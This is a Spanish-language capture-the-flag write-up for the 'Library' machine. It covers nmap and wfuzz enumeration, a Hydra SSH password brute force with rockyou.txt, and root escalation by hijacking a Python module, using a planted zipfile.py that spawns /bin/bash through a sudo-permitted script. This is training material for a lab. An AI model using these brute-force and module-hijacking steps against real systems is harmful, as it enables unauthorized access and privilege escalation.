Library

logo

Link

boot2root machine for FIT and bsides guatemala CTF - Read user.txt and root.txt.


1. Fase de reconocimiento

  • Para conocer a que nos estamos enfrentando lanzamos el siguiente comando:
ping -c 1 {ip}

ping

  • De acuerdo con el ttl=63 sabemos que nos estamos enfrentando a una máquina con sistema operativo Linux.

2. Enumeración / Escaneo

  • Escaneo de la totalidad de los 65535 puertos de red el cual guardamos en un archivo en formato nmap con el siguiente comando:
└─# nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn {ip} -oN allports

ping


  • De acuerdo con el escaneo anterior, se encuentran los siguientes puertos abiertos; 22 (ssh) y 80 (htp)

  • Escaeno de vulnerabilidades sobre los puerto 80:

└─#  nmap -v -A -sC -sV -Pn {ip} -p22,80 --script vuln


  • Whatweb nos da la siguiente información:
whatweb {ip}

whatweb


  • Revisión de la URL http://10.10.158.155:

whatweb

  • Buscando el la ruta robots.txt, me encontré con el siguiente mensaje:

robots


3. WFUZ

  • Escaeno de subdominios con wfuzz:
└─# wfuzz --hc=404 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt {ip}/FUZZ/

wfuzz

  • Con el anterior escaner encotramos solo un archivo images en el cual no encotramos unas imagenes:

wfuzz


4 Hydra

  • Con la información de robots.txt procedemos a intentar por fuerza bruta a conseguir la contraseña del usuario meliodas que habiamos encontrado en la página de inicio:
└─$ hydra -l meliodas -P /usr/share/wordlists/rockyou.txt   ssh://{ip} -f -VV -t 4

Hydra

4. SSH

  • Con la contraseña obtenida con hydra del usuario meliodas procedemos a establecer una conexión via *ssh.
└─# ssh meliodas@{ip}

ssh

5. Bandera de usuario

  • Listamos con ls y encontramos el archivo user.txt:

usr


6. Bandera root

  • Búsqueda de vulnerabilidades con el comando sudo -l:

root

  • Creación del binario zipfile.py, desde la máquina atacante, con el siguiente contenido que nos va a escalar una bash como root:
library_ls.pngimport os

ZIP_DEFLATED = 1

def ZipFile(param1, param2, param3):
        print(os.system('/bin/bash'))
  • Procedemos a compartirlo con un servidor en python

root


  • Descargamos el archivo creado en la máquina con wget:

wget


  • Ejecutamos el script bak.py y obtenemos la bandera root:

root


7. Fuentes

  • Writeup:

https://r4bb1t.medium.com/library-write-up-7dd5d5c5a9eb